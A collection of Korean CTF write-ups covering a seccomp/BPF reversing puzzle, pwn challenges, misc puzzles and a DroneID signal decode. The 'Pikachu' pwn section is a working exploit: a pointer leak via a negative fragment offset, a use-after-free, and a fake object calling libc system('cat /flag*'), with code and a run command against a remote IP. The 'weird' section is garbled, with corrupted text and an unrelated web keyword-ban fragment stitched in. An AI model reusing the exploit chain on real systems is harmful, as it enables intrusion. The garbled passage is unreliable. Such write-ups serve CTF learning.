$ bwrap --unshare-all --tmpfs / --dev /dev --ro-bind "$PWD/choir" /bin/choir \ /bin/choir 'kisia{seccomp_filters_sing_only_for_the_right_eight_byte_chordX}' nope
exit=1
마지막 한 글자만 바꾼 입력이 nope 로 떨어지는 것까지 확인했다.
2절과 3-2절의 디스어셈블은 다음 명령으로 다시 뜰 수 있고, 결과는 logs/disasm-control-flow.txt 에 있 다.
objdump -d --start-address=0x401070 --stop-address=0x401150 -M intel workspace/choir
objdump -d --start-address=0x4018b0 --stop-address=0x401940 -M intel workspace/choir
objdump -d --start-address=0x4012b0 --stop-address=0x401300 -M intel workspace/choir
7. Flag 획득 및 검증
flag:
kisia{seccomp_filters_sing_only_for_the_right_eight_byte_chords}
길이는 정확히 64바이트로, 프로그램이 요구하는 strlen == 0x40 과 맞는다.
검증은 세 단계로 이뤄졌고 서로 독립적이다.
첫째, solver 안의 자체 검증이다. 역산으로 얻은 8바이트를 각 voice의 BPF 프로그램에 다시 넣어 반환값이 0x5005a 인지 확인했다. 8개 모두 통과했고, 하나라도 틀렸다면 solve_bpf 가 예외를 던져 실행이 중단됐을 것이다.
둘째, 실제 바이너리 실행이다. bubblewrap 격리 환경에서 정답은 correct 와 종료 코드 0, 마지막 글자를 바꾼 값은 nope 와 종료 코드 1을 냈다. 이것이 커널의 실제 seccomp 판정을 통과했다는 증거이고, Python으로 만든 인터프리터의 판정과 커널의 판정이 일치한다는 뜻이기도 하다.
셋째, solver 재실행에 의한 결정적 검증이다. 기록은 다음과 같다.
| 항목 | 값 |
|---|---|
| 검증 시각 | 2026-08-09T12:04:15+09:00 |
| 명령 | [“python3”, “artifacts/solve.py”, “workspace/choir”] |
| 종료 코드 | 0 |
| timeout | 발생하지 않음 |
| stdout에 flag 포함 | true |
| flag 형식 일치 | true ( kisia{[A-Za-z0-9_]+} ) |
| stdout SHA-256 | bfc8b9972af997149531bf21f5d6a42bf9d753beee06f9d4209b8fba4ce88920 |
풀이에 걸린 시간은 212초다(시작 12:00:04, 검증 완료 12:03:36).
8. 결론과 재사용 가능한 교훈
이 문제는 정답 판정을 사용자 공간이 아니라 커널에 맡긴다. 프로그램 안에는 비교할 정답 문자열이 없고, 대신 커 널에 seccomp filter를 설치한 뒤 입력 8바이트를 syscall 인자로 넘겨 호출한다. 커널은 필터가 시키는 대로 errno = 90 을 만들거나 SIGSYS 를 보내고, 프로그램은 그 결과만 본다. strace 로 syscall을 관찰하거나 디 버거로 비교 지점을 찾는 접근으로는 판정 로직에 도달하지 못한다. 로직 자체가 커널에 등록된 BPF 프로그램 안 에 있기 때문이다.
다음에 다시 쓸 수 있는 것들을 순서대로 적는다.
암호 파생식을 복원했으면 tag 하나를 계산해 저장된 값과 비교하는 것으로 전체를 한 번에 확정할 수 있다. 이 문 제에서는 domain separation 문자열의 NUL 종단 여부가 유일한 불확실성이었고, 네 가지 조합을 계산해 16바이 트 일치를 확인하는 데 몇 초가 걸렸다. 복호화를 시도하고 결과가 이상한지 눈으로 판단하는 것보다 훨씬 빠르고 확실하다.
.choir 처럼 이름이 붙은 비표준 섹션과 그 안의 magic 값(CHOIRB01)은 출제자가 만든 자체 컨테이너 형식이 있다는 신호다. 헤더의 고정 필드를 먼저 읽어 레코드 개수와 seed 위치를 잡으면 나머지 구조가 빨리 풀린다.
체인 구조는 순서를 강제한다. master_(i+1) 이 voice i의 정답을 입력으로 받으므로 병렬로 풀 수 없고 건너뛸 수도 없다. 이런 설계를 보면 첫 단계에 시간을 들이는 것이 맞다. 첫 단계가 풀리면 나머지는 같은 코드가 그대로 돌아간다.
Feistel network를 알아보면 되돌리는 것이 거의 공짜다. F 가 무엇이든 상관없이 이전 R = 지금 L, 이전 L = 지금 R ^ F(이전 R) 로 역산되고, F 는 앞 방향으로만 계산하면 된다. 이 문제에서는 인터프리터를 이미 만들어 둔 덕분에 F 를 다시 구현하지도 않았다. 라운드를 L = 0 으로 실행해 나온 값이 곧 F(R) 이다.
구조를 이해하면 solver가 SMT solver보다 단순해진다. z3가 없어서 우회한 것이었지만, 결과적으로 표준 라이브 러리만 쓰는 200줄짜리 코드가 나왔고 8개 voice가 모두 같은 템플릿이라는 사실까지 확인됐다. 다만 이 접근은 가정에 의존하므로, 가정이 맞는지 코드 안에서 확인하고 틀리면 멈추게 해야 한다. solve.py 가 라운드마다 서 로 다른 L 두 개로 Feistel 형태를 확인하고 아니면 예외를 던지는 것이 그 부분이다.
분석 대상 바이너리는 격리해서 실행한다. 이 문제의 choir 는 prctl 과 seccomp 로 자기 프로세스의 실행 환 경을 바꾸는 프로그램이라 더 그렇다. bubblewrap으로 namespace를 전부 분리하고 tmpfs 루트에 대상 파일 하 나만 읽기 전용으로 올리면, 호스트 파일시스템과 네트워크에 닿지 않는 상태로 동작을 관찰할 수 있다.
모든 라이트업 완료
마지막 업데이트: 2026-08-09
3. PWN
Pikachu
원격 인스턴스에서 전체 체인을 재현하고 플래그까지 회수했다.
1. 요약
이 바이너리는 일반적인 TCP 서버가 아니라 EVCC(Electric Vehicle Communication Controller) 클라이언트다. nc 3.39.24.75 28601 로 연결하면, TCP 스트림 안에서 다음 계층을 직접 에뮬레이션해야 한다.
HPGP frame -> Ethernet -> IPv6/NDP -> TCP/15118 -> TLS -> 4-byte BE length -> nanopb envelope -> V2GTP -> ISO 15118-2 EXI
공격자는 SECC 역할을 맡아 정상 ISO 15118-2 흐름을 진행한다. 취약점 체인은 다음 두 논리 버그를 결합한다.
- 악성 ServiceDetailRes 의 음수 CertFragmentOffset 으로 CertificateInstallationReq.OEMProvisioningCert 에 PIE/libc/heap 포인터 32바이트를 노출한 다.
- 같은 응답에 UpdateHz=0 을 저장해 둔 뒤, CertificateInstallationRes 로 0x210바이트 가짜 인증 서를 영속화한다. 이후 1000 / UpdateHz 에서 SIGFPE가 발생한다. 치명적 시그널 핸들러의 manager destructor는 0x210바이트 charger node를 해제하고, 직후 같은 길이의 인증서 복제본을 할당한다. glibc tcache가 방금 해제한 0x220 크기 청크를 재사용하므로 가짜 인증서가 해제된 charger object를 덮는다. destructor가 stale list를 다시 순회하면서 가짜 객체의 함수 포인터 두 개를 호출한다. 가짜 객체의 두 번째 콜백을 libc system 으로 두고 명령 문자열을 cat /flag* 로 만들면 플래그가 프로세스 stdout, 즉 원격 소켓에 그대로 출력된다.
2. 보호 기법
대상은 stripped ELF64 x86-64 PIE이며 다음 보호 기법이 적용돼 있다.
| 보호 기법 | 상태 | 우회 방법 |
|---|---|---|
| PIE / ASLR | 활성 | PIE+0xa540 함수 포인터 누출 |
| libc ASLR | 활성 | 실제 free 주소 누출 |
| NX | 활성 | 셸코드 대신 libc system 호출 |
| Full RELRO | 활성 | GOT를 수정하지 않음 |
| Stack Canary | 활성 | 스택 손상 없음 |
| CET IBT / SHSTK | ENDBR64 코드 생성 | ENDBR64로 시작하는 정상 함수 엔트리만 간접 호출하고 return address를 손상하지 않음 |
이 체인은 ROP나 스택 피벗이 아니다. 프로그램이 원래 수행하던 간접 call 과 tail jmp 의 대상만 UAF로 바꾸 므로 강한 메모리 보호 기법을 대부분 우회한다.
3. 통신 계층 구성
HPGP와 가상 Ethernet
원격 TCP 스트림의 HPGP 헤더는 16바이트이며 다음 big-endian 구조다.
struct hpgp_header {
char magic[4]; // "HPGP"
uint8_t version; // 1
uint8_t kind; // 1
uint16_t reserved; // 0
uint32_t sequence;
uint16_t payload_len;
uint16_t header_crc16; // CRC-16/CCITT over first 14 bytes
}; // payload 뒤에는 CRC32 4바이트가 붙는다.
HPGP payload는 Ethernet frame이다. 대상 EVCC는 MAC 02:00:00:00:00:01, IPv6 fd00::1 을 사용하 고, 공격자는 MAC 02:00:00:00:00:02, IPv6 fd00::2 를 사용한다. 먼저 Neighbor Advertisement를 돌려 준 뒤 대상이 시작하는 TCP 연결을 포트 15118에서 받는다.
TCP와 TLS
대상이 SYN을 보내므로 공격자는 SYN/ACK을 보내는 TCP 서버 역할을 한다. 최소 구현에서는 MSS 1220만 협상 하고 payload를 1,000바이트 이하 segment로 잘라 전송했다.
TLS 인증은 엄격하지 않았다. 제공된 임의의 self-signed ECDSA P-256 서버 인증서로도 handshake가 성립했 다. exploit에서는 Python ssl.MemoryBIO 를 사용해 TLS 1.2 서버를 구현했다. 대상은 TLS 1.3도 지원하지만 취약점에 필요한 조건은 아니다.
TLS 위 application envelope
TLS plaintext 한 메시지는 다음과 같다.
u32be protobuf_length nanopb/protobuf body
사용된 outer protobuf 필드는 다음과 같다.
| 필드 | 의미 |
|---|---|
| 1 | envelope version/type, 값 1 |
| 2 | session ID, fixed64 little-endian |
| 3 | application message kind |
| 4 | message/request ID |
| 5 | V2GTP byte string |
| 6 | 응답 success/status, 값 1 |
V2GTP는 01 fe 80 01 뒤에 4바이트 big-endian EXI 길이와 ISO 15118 EXI 본문이 붙는다.
TLS length-prefix 수신부와 nanopb 자체도 확인했지만 직접적인 overflow는 없었다. plaintext 누적 버퍼와 outer payload에는 각각 상한 검사가 있으며, field 5는 최대 0x800바이트로 제한된다. lwIP의 TCP option 및 IPv6 reassembly 구현도 최근 bounds/gap/null 검사를 포함하고 있었다. 따라서 raw packet parser가 아니라 상 위 ISO 상태와 destructor lifetime이 실제 공격면이었다.
4. 필요한 ISO 15118-2 흐름
공격자는 다음 메시지만 정상적으로 통과시키면 된다. 화살표 왼쪽은 대상 EVCC, 오른쪽은 공격자 SECC다.
| 순서 | EVCC -> SECC | SECC -> EVCC | outer kind |
|---|---|---|---|
| 1 | supportedAppProtocolReq | supportedAppProtocolRes | 7 -> 8 |
| 2 | SessionSetupReq | SessionSetupRes | 1 -> 2 |
| 3 | ServiceDiscoveryReq | ServiceDiscoveryRes | 9 -> 10 |
| 4 | ServiceDetailReq | 악성 ServiceDetailRes | 11 -> 12 |
| 5 | PaymentServiceSelectionReq | PaymentServiceSelectionRes | 17 -> 18 |
| 6 | 포인터가 섞인 CertificateInstallationReq | 가짜 인증서가 든 CertificateInstallationRes | 13 -> 14 |
SAP 응답은 schema ID 1, 즉 ISO 15118-2를 선택한다. 나머지 EXI 응답은 schema 필수 필드만 최소값으로 채웠 다.
5. 정보 누출: 음수 CertFragmentOffset
악성 ServiceDetailRes 는 ServiceID=0x7777, ParameterSetID=1 과 다음 다섯 parameter를 포함한 다.
EVSEName = "PikaDC-01"
Proto = "HLC"
UpdateHz = 0
CertFragmentLength = 32
CertFragmentOffset = -50
parser PIE+0xab50 은 UpdateHz 를 context +0x6c, fragment 존재 여부를 +0x74, signed offset을 +0x78, 길이를 +0x7c 에 저장한다. fragment가 있으면 이 시점에는 나눗셈을 하지 않으므로 UpdateHz=0 이 잠복 상태로 남는다.
다음 CertificateInstallationReq 를 만들 때 PIE+0xa5b0 이 OEM 인증서 fragment를 복사한다. 핵심 계산은 다음과 같다.
start = (int32_t)ctx->CertFragmentOffset + 0x32;
len = ctx->CertFragmentLength;
src = (uint8_t *)ctx + 0x80 + start;
memcpy(oem_cert, src, len);
CertFragmentOffset=-50 이면 start=0 이 된다. 의도한 인증서 영역보다 0x32바이트 앞인 context 내부 를 32바이트 읽어 다음 값이 OEMProvisioningCert 에 포함된다.
offset 0x00: PIE+0xa540 callback/check 함수
offset 0x08: libc free 실제 해석된 함수 주소
offset 0x10: charger_node+0x10 heap 포인터
offset 0x18: 0
한 실행에서 확인한 원시 누출은 다음과 같았다.
409538448657000050bd570a69750000409e9858865700000000000000000000
little-endian qword로 해석하면 다음과 같다.
PIE+a540 = 0x578644389540
free = 0x75690a57bd50
charger+0x10 = 0x578658989e40
PIE base = 0x57864437f000
libc base = 0x75690a4ce000
주소는 실행마다 달라지므로 exploit은 항상 누출 값을 즉석에서 파싱한다.
6. 0x210바이트 인증서로 charger node 치환
CertificateInstallationRes 의 ContractSignatureCertChain.Certificate 는 PIE+0xa550 을 거쳐 manager의 persistent certificate buffer에 저장된다. 길이 상한은 0x320이므로 정확히 0x210바이트를 넣 을 수 있다.
이후 ISO 응답 처리 함수 PIE+0xd360 은 앞서 설정한 fragment-present flag를 확인하고 다음 연산을 한다.
; PIE+0xd4d8
mov eax, [ctx+0x6c] ; UpdateHz == 0
mov dword [ctx+0x74], 0
mov ecx, eax
mov eax, 1000
idiv ecx ; SIGFPE
SIGFPE handler PIE+0x4dcd0 은 전역 manager에 대해 destructor PIE+0x4db90 을 호출한다. 취약한 순서 는 다음과 같다.
- manager+0x70 list의 charger node를 sized delete한다. charger object의 요청 크기는 0x210이며 glibc chunk size는 0x220이다.
- list head/sentinel을 초기화하지 않아 manager+0x70 은 해제된 node를 계속 가리킨다.
- manager의 persistent certificate 길이만큼 new(nothrow) 를 호출하고 인증서 내용을 복사한다.
- 인증서 길이가 0x210이면 tcache의 가장 최근 0x220 청크, 즉 방금 해제한 charger node가 즉시 반환된다.
- 따라서 공격자가 보낸 인증서 0x210바이트가 stale charger object 전체를 덮는다.
- destructor는 manager+0x48 의 connection/map entry를 순회하면서 PIE+0x4da90 으로 stale charger list에서 ID를 찾고 callback을 호출한다. 첫 연결에서 manager counter는 1로 초기화되고, 생성되는 charger node와 map entry 모두 key 1을 갖는다.
7. 가짜 객체와 CET-compatible 제어 흐름
PIE+0x4da90 에서 해제된 node를 fake 라고 하면 동작은 정확히 다음과 같다.
arg = fake + 0x10;
found_id = ((uint64_t (*)(void *))fake->callback_98)(arg);
if (found_id == map_key) {
// 함수 epilogue 후 tail jump
goto *(void (*)(void *))fake->callback_a0(arg);
}
즉 두 간접 제어 시점 모두 RDI=fake+0x10 이다. 기본 fake layout은 다음과 같이 만들 수 있다.
fake+0x10 "cat /flag*\0" system의 RDI
fake+0x20 1 connection/map key
fake+0x30 1 non-zero marker
fake+0x98 PIE+0x4d9a0 첫 callback
fake+0xa0 libc system 두 번째 callback
PIE+0x4d9a0 은 ENDBR64로 시작하며 mov rax,[rdi+0x10]; ret 을 수행한다. RDI=fake+0x10 이므 로 fake+0x20 의 qword 1을 반환하여 map key 비교를 통과한다.
더 짧게는 누출된 PIE+0xa540 을 첫 callback으로 그대로 재사용할 수도 있다. 이 함수 역시 ENDBR64로 시작하 며 RDI+0x20, 즉 fake+0x30 의 byte가 0이 아닌지 검사해 1을 반환한다.
제공된 libc의 심볼 offset은 다음과 같다.
free = libc+0xadd50
system = libc+0x58750
system = leaked_free - 0x55600
위 샘플에서는 다음 주소가 된다.
system = 0x75690a526750
system 도 ENDBR64로 시작한다. 마지막 분기는 call 이 아니라 PIE+0x4da90 epilogue 뒤의 tail jmp rax 다. 이 방식은 원래 caller가 만든 shadow-stack return address를 그대로 유지하며, system 이 반환할 때 같은 주소를 소비한다. 따라서 IBT와 SHSTK를 모두 깨지 않고 동작한다.
8. 플래그 출력과 exploit 실행
핵심 주소 계산과 fake 구성은 다음과 같다.
pie_base = leaked_check - 0xA540
libc_base = leaked_free - 0xADD50
fake = bytearray(0x210)
fake[0x10:0x10 + len(b"cat /flag*\0")] = b"cat /flag*\0"
struct.pack_into("<Q", fake, 0x20, 1)
struct.pack_into("<Q", fake, 0x30, 1)
struct.pack_into("<Q", fake, 0x98, pie_base + 0x4D9A0)
struct.pack_into("<Q", fake, 0xA0, libc_base + 0x58750)
전체 harness는 HPGP부터 TLS/EXI까지 처리한 뒤 kind 14 응답을 보낸다. 그 직후에는 HPGP parser로 읽으면 안 된다. system(“cat /flag*“) 가 자식 프로세스 stdout에 직접 쓰기 때문에 플래그는 HPGP나 TLS application data가 아닌 원시 소켓 byte stream에 섞여 나온다. raw recv() 결과에서 kisia{[^}]+} 를 검색하면 된다.
실행 형태는 다음과 같다.
python3 work/pikachu/dynamic_exploit/uaf_exploit.py \
--host 3.39.24.75 --port 28601 \
--connect-retries 5 \
--record work/pikachu/dynamic_exploit/uaf_remote.json
실제 성공 세션은 proof-of-work 이후 열린 포트 11062에서 수행됐다. 당시 주소 계산은 다음과 같았다.
PIE+a540 = 0x601f2396f540
free = 0x77e3ffa83d50
charger+0x10 = 0x601f401d4e40
PIE base = 0x601f23965000
libc base = 0x77e3ff9d6000
system = 0x77e3ffa2e750
kind 14 전송 직후 원시 stdout에서 다음 byte stream을 받았다.
6b697369617b32756d5164716c6672526c79637a5747663939674a6e78346c5a785a747472523731
3237323534667d0a
ASCII로 해석하면 아래 플래그다.
9. 플래그
kisia{2umQdqlfrRlyczWGf99gJnx4lZxZttrR7127254f}
weird
| 항목 | 값 |
|---|---|
| 문제 | weird (pwn) |
| 대상 | 3.39.24.75:17037 (사용자가 제공된 인자를 대상으로 등록, metadata.json) |
| Flag 형식 | kisia{[^}]+} |
| 최종 플래그 | kisia{HQqqNwdRL9jbC1HMG7L20DskpXNUeDvPeaf39374} |
| 솔버 검증 | result.json = verified, 2026-08-09T14:01:05 +09:00 |
| 플랫폼 정담 확인 | acceptance.json = accepted, 2026-08-09T14:04:04 +09:00 |
| 소요 시간 | 24분 45초 ( metadata.json 의 solve_budget.elapsed_seconds = 1485) |
1. 문제 개요
핸드아웃을 풀면 파일이 여섯 개 들어 있다.
- Dockerfile, docker-compose.yml, entrypoint.sh, run.sh, qjs.mmo, vendor/mmix-20160804.tgz qjs.mmo 는 1,341,016바이트짜리 MMO v1 으브젝트 파일이다. MMO는 Donald Knuth가 만은 MMIX 가상 CPU 의 실행 파일 형식이고, 같이 들어 있는 vendor/mmix-20160804.tgz 가 그 MMIX 시뮬레이터의 소스다. 즉 이 문 제는 JavaScript 엔진인 QuickJS 를 x86 이 아니라 MMIX라는 가상 CPU용으로 컴파일해서 돌린 것이다.
qjs.mmo 안에는 QuickJS memory usage – 2026-06-04 version, %d-bit, malloc limit: %ld 라는 바전 문 자열이 들어 있다(input/ANALYSIS.md 의 solve_budget.elapsed_seconds = 1485).
서비스는 Dockerfile 의 다음 한 줄로 된다.
CMD ["socat", "-T60", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:/chal/run.sh,stderr"]
연결이 들어올 때마다 socat 이 fork에서 run.sh 를 실행했다. run.sh 는 이렇게 생겼다.
#!/bin/sh
exec /usr/local/bin/mmix /chal/chal.mmo "$(\od -An -tx1 -N4 /dev/urandom | tr -d ' \n')"
/dev/urandom 에서 4바이트를 읽어 8자리 16진수 문자를 MMIX 프로그램 argv[1]로 넘긴다. 이 값이 nonce다.
entrypoint.sh 는 컨테이너가 root 직속 위치에 flag 파일을 쓴다.
: "${FLAG:=kisia{no_flag_set}}"
echo "$FLAG" >/flag
chmod 0444 /flag
unset FLAG
exec setrpiv --reuseaddr,fork", "EXEC:/chal/run.sh,stderr"]
여기서 목표가 지워진 개명가지 직접 입출했다. /flag 가 0444에서 컨테이너는 nobody 로 돌아 /flag를 읽을 수 없으므로 뭭기는 불가능, 서버에서 명령을 실행해 파일을 읽거나 뱉출밍어야 한다.
문제에 봉여 있든 윈도를 두 종류로 분리했다.
(a) 특정 토큰 → 즉시 밴 (300초)
sleep(3), case 등 입부 도큰을 넣으면 응답이 아래로 바뀌고 이후 5분간 모든 요청이 차단된다.
{"banned":true,"reason":"automated scanning detected","remaining":300}
밴 여부/잔여시간은 읽기 전용 GET /api/status 로 확인(이 요청은 밴을 연장하지 않음).
(b) 특정 키워드 → 문자열 “제거”(strip)
q=union select 를 넣으면 밴이 아니라 상품 전체(15개) 가 반환된다.
4. MISC
Mic Check
문제 정보
- CTF: KISIA CTF
- 분야: Misc
문제 설명
문제 페이지에는 다음과 같은 문구가 적혀 있었다.
flag is in discord 🙂
따라서 KISIA CTF Discord 서버 내부에서 플래그를 찾아야 한다고 판단했다.
풀이
Discord 서버에서 공지 채널인 #notice 를 확인했다.
채널 상단의 **채널 주제(Channel Topic)**를 살펴보니 일부 내용이 Discord의 스포일러 기능 으로 가려져 있었다. Discord의 스포일러는 숨겨진 부분을 클릭하면 원래 내용을 확인할 수 있 다.
스포일러 처리된 채널 주제를 클릭하자 다음 플래그가 나타났다.
kisia{5fd924625f6ab1}
Typing
문제 풀이 및 Proof of Concept
1. 문제 개요
train.wav의 키별 타건음을 학습한 뒤 flag.wav의 키 입력을 복원하는 키보드 음향 분석 문제다.
2. 풀이 과정
- train.wav와 flag.wav는 16 kHz, 16-bit PCM stereo이며 좌우 채널이 동일해 한 채널만 사용했 다.
- 진폭 envelope와 peak 간격으로 key-down을 검출했다. train.wav에서는 36키×7회=252개, flag.wav에서는 34개의 key-down이 검출됐다.
- 각 타건의 MFCC, 충격음 스펙트럼, PSD 특징을 추출해 keys.txt 순서로 분류기를 학습했다.
- 복원된 키열은 vmfformsmsthanswkdldpvmdpf33zpdldh였다. 이를 두벌식으로 조합하면 「플래 그는 소문자 이 에프 엘 33 케이 오」가 되어 efl33ko를 얻는다.
3. PoC
train_onsets = detect_onsets(train) # 252
flag_onsets = detect_onsets(flag) # 34
y = np.repeat(list('1234567890qwertyuiopasdfghjklzxcvbnm'), 7)
model.fit(extract_features(train, train_onsets), y)
raw = ''.join(model.predict(extract_features(flag, flag_onsets)))
print(raw)
# vmfformsmsthanswkdldpvmdpf33zpdldh
# 두벌식: 플래그는 소문자 이 에프 엘 33 케이 오 → efl33ko
FLAG: kisia{efl33ko}
Weird Exhibition
문제 풀이 및 Proof of Concept
1. 문제 개요
브라우저 기반 3D 미술관 게임의 작품들을 조사해 숨겨진 플래그를 찾는 문제다.
2. 풀이 과정
- 번들 JavaScript의 전시 목록을 확인해 일반 작품과 다른 6개의 PNG(c4072d, 8b71d4, e2f164, 31e9f6, 59ab83, d5c20a)를 추렸다.
- 각 PNG는 빨강·초록·파랑·청록·자홍·노랑을 2×3으로 배치한 패턴 3개로 구성되어 있었다. 좌상단 삼각형은 읽는 방향을 고정한다.
- 패턴을 Hexahue 알파벳으로 치환하면 각각 HID, SIX, UTH, ORS, ETR, COL이 나온다.
- 의미가 통하도록 순서를 재배열하면 SIX + COL + ORS + HID + ETR + UTH = SIXCOLORSHIDETRUTH가 된다. 서버는 대문자·구분자 없는 형태를 정답으로 판정했다.
3. PoC
decoded = {
'8b71d4.png':'SIX', 'd5c20a.png':'COL', '31e9f6.png':'ORS',
'c4072d.png':'HID', '59ab83.png':'ETR', 'e2f164.png':'UTH'
}
order = ['8b71d4.png','d5c20a.png','31e9f6.png',
'c4072d.png','59ab83.png','e2f164.png']
plain = ''.join(decoded[name] for name in order)
print(plain)
# SIXCOLORSHIDETRUTH
FLAG: kisia{SIXCOLORSHIDETRUTH}
Drone Signal
Challenge
Drone의 신호를 캡처했습니다. 캡처한 신호를 분석하여 드론의 Serial Number를 찾아주세요.
0. 재현 준비
분석자가 각 단계의 입력·명령·판단 근거와 중간값을 직접 확인할 수 있도록 순서대로 정리했다. 모든 명 령은 challenge1 과 이 Writeup의 분석용 Python 파일들이 현재 디렉터리에 있다고 가정한다.
검증에 사용한 환경은 다음과 같다.
| 항목 | 값 |
|---|---|
| OS | Windows 11 / PowerShell |
| Python | 3.13.7 (64-bit) |
| Git | command-line client |
| NumPy | 2.4.6 |
| SciPy | 1.17.1 |
| Matplotlib | 3.10.9 |
| bitarray | 3.10.1 |
| crcmod | 1.7 |
| Decoder | RUB-SysSec/DroneSecurity |
| Commit | 9ff819843bee48fb140a0704ec78aff757896dea |
분석에 사용하는 파일은 다음과 같다.
| 파일 | 용도 |
|---|---|
| scan_iq.py | 입력 형식·표본·전력 통계 확인 |
| plot_overview.py | 전체 캡처의 시간-주파수 개요 생성 |
| plot_iq.py | 후보 구간의 waveform·spectrogram 생성 |
| extract_subband.py | 주파수 이동 및 50→15.36 MS/s 변환 |
| scan_droneid_frames.py | cyclic prefix와 ZC 기반 후보 탐색 |
| decode_forced_start.py | legacy 심벌 복조, 위상 탐색, CRC 검증 |
제공 파일: challenge1 목표: 캡처된 IQ 신호에서 Drone Serial Number 복구 최종 답: 3YTBKAF00402HH
Python 가상환경을 만들고 분석에 사용한 버전을 설치한다. Windows PowerShell 기준 명령은 다음과 같다.
Linux/macOS에서는 활성화 명령만 다음과 같이 바꾸면 된다.
Set-Location C:\path\to\reversing\drone-signal
python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install numpy==2.4.6 scipy==1.17.1 matplotlib==3.10.9
bitarray==3.10.1 crcmod==1.7
python3.13 -m venv .venv
source .venv/bin/activate
python -m pip install numpy==2.4.6 scipy==1.17.1 matplotlib==3.10.9
bitarray==3.10.1 crcmod==1.7
payload parser와 turbo/QPSK 구현은 공개된 DroneSecurity 의 고정 커밋을 사용한다. 최신 브랜치 가 변경되더라도 결과가 달라지지 않도록 커밋 해시까지 고정한다.
git clone https://github.com/RUB-SysSec/DroneSecurity.git
third_party/DroneSecurity
git -C third_party/DroneSecurity checkout --detach
9ff819843bee48fb140a0704ec78aff757896dea
이후 각 절의 명령을 순서대로 실행하고, 기재된 중간값과 자신의 출력을 비교한다. 단순히 마지막 Serial만 확인하는 것이 아니라 후보 위치, ZC root, 프레임 형식, 비트 수, CRC가 차례대로 맞아야 재 현에 성공한 것이다.
재현 체크포인트
| 단계 | 확인할 값 |
|---|---|
| 입력 파일 | 520,000,000 bytes, SHA-256 EF83…5410 |
| 서브밴드 변환 | 20,000,000 → 6,144,000 samples |
| 후보 탐색 | cp_start=2948303 , zc147≈0.595 |
| 프레임 추출 | 37,000 → 11,367 samples |
| 복조 | legacy 8-symbol, 7,200 coded bits |
| 결과 검증 | Serial 3YTBKAF00402HH , CRC fe4d == fe4d |
1. 파일 형식 확인
challenge1 에는 별도 헤더나 메타데이터가 없었다. 파일 크기는 520,000,000바이트이며, 이를 little- endian complex64 로 읽으면 정확히 65,000,000개의 IQ 표본이 된다.
모든 I/Q 값이 유한하고 대부분의 구간에 실제 신호가 존재했다. 파일 자체에는 샘플링레이트 정보가 없 으므로 이후 분석에서는 50 MS/s 가설을 세웠다. 이 값을 사용하면 관찰된 심벌 주기가 15 kHz 부반송 파 간격과 맞고, 최종적으로 ZC 동기와 패킷 CRC까지 모두 성립하므로 가설을 역으로 검증할 수 있다.
파일 무결성 확인에 사용한 SHA-256은 다음과 같다.
520,000,000 bytes / 8 bytes per complex64 = 65,000,000 samples
65,000,000 samples / 50,000,000 samples/s = 1.3 seconds
EF83E9EC681C78386090B832B89116BF50ECD617BBFF0463EA0B39A685025410
PowerShell에서는 파일 크기와 해시를 직접 확인한 뒤 IQ 통계를 출력한다.
(Get-Item .\challenge1).Length
(Get-FileHash .\challenge1 -Algorithm SHA256).Hash
python .\scan_iq.py .\challenge1
Linux/macOS의 동일한 확인 명령은 다음과 같다.
wc -c < challenge1
sha256sum challenge1
python .\scan_iq.py .\challenge1
scan_iq.py 출력의 첫 두 값이 다음과 일치해야 한다.
complex64_samples=65000000
finite=True
first_nonzero_sample=10
last_nonzero_sample=64999999
sample_rate=50000000 samples/s
capture_duration=1.300000 seconds
interpretation=Little-endian complex64 IO (float32 I, float32 Q)
2. 전체 스펙트럼 확인
520 MB를 한 번에 일반 spectrogram으로 처리하면 메모리 사용량이 커지므로, 시간 구간별 FFT 평균 을 계산해 전체 1.3초의 저해상도 시간-주파수 개요를 만들었다.
결과 파일을 저장할 디렉터리를 만들고 전체 개요를 생성한다.
New-Item -ItemType Directory -Force .\work
python .\plot_overview.py .\challenge1 .\work\capture_overview.png
Linux/macOS에서는 첫 줄만 mkdir -p work 로 바꾸면 된다.
캡처에는 여러 종류의 신호가 함께 있었다. 특히 화면 상단의 강한 광대역 버스트가 눈에 띄지만, 가장 강한 신호가 DroneID라고 단정할 수는 없다. 실제 목표 프레임은 다른 트래픽에 비해 상대적으로 약하 고 약 9 MHz 폭을 갖는다.
초기에는 대각선 형태 때문에 LoRa/CSS도 의심했다. 그러나 payload 구간의 PAPR이 약 10.83 dB였 고 fourth-moment ratio가 약 1.92로 나와 constant-envelope chirp보다 복소 Gaussian에 가까운 OFDM 특성을 보였다. 자기상관에서도 약 3333표본 간격이 관찰되었다.
python scan_iq.py challenge1
bytes=520000000
complex64_samples=65000000
New-Item -ItemType Directory -Force .\work
python .\plot_overview.py .\challenge1 .\work\capture_overview.png
50 MHz / 3333 ≈ 15 kHz
15 kHz 부반송파 간격은 공개된 DJI OcuSync DroneID 분석과 일치한다. proto17 분석과 RUB- SysSec 수신기는 1024-point FFT, 중심 601개 부반송파 및 Zadoff–Chu 훈련 심벌을 사용한다.
3. DroneID 후보 프레임 추출
원본을 여러 9 MHz 서브밴드로 나누어 검사했다. 각 서브밴드는 복소 지수로 기저대역 이동한 뒤 다음 비율로 15.36 MS/s로 변환했다.
15.36 / 50 = 192 / 625
15.36 MHz / 1024 = 15 kHz
전체 스펙트럼에서 목표로 추정한 약 9 MHz 폭 신호는 캡처 중심을 기준으로 대략 +3.5~+12.5 MHz 에 있으므로 중심을 +8 MHz 로 잡았다. 우선 원본의 앞 20,000,000표본에서 이 서브밴드를 추출한다.
extract_subband.py 는 복소 지수로 주파수를 이동한 뒤 polyphase resampling을 적용한다.
첫 명령은 정확히 다음 표본 수를 출력해야 한다.
python .\extract_subband.py .\challenge1 .\work\early_8mhz.c64 --center 8e6 --
start 0 --count 20000000
python .\scan_droneid_frames.py .\work\early_8mhz.c64 --min-score 0.3 --checkzc --top 30 --zc-threshold 0.2
input_samples=20000000 output_samples=6144000 ratio=192/625
center_hz=8000000.0
zc_candidate[1] cp_start=2948303 score=0.895078957 time=0.191946810
zc600=0.121182 zc147=0.595002
legacy start at 15.36 MS/s = 2948303 + 1095 = 2949398
original sample = 2949398 × 625 / 192
≈ 9,600,905
후보 탐색 결과 중 CP 상관과 root-147 ZC 상관을 모두 통과하는 첫 항목은 다음과 같다.
cyclic prefix와 1024표본 뒤 심벌 꼬리의 상관을 이용해 OFDM 경계를 찾고, 두 번째 ZC 심벌의 root 147 상관을 확인했다. 목표 프레임은 다음 두 위치에서 반복되었다.
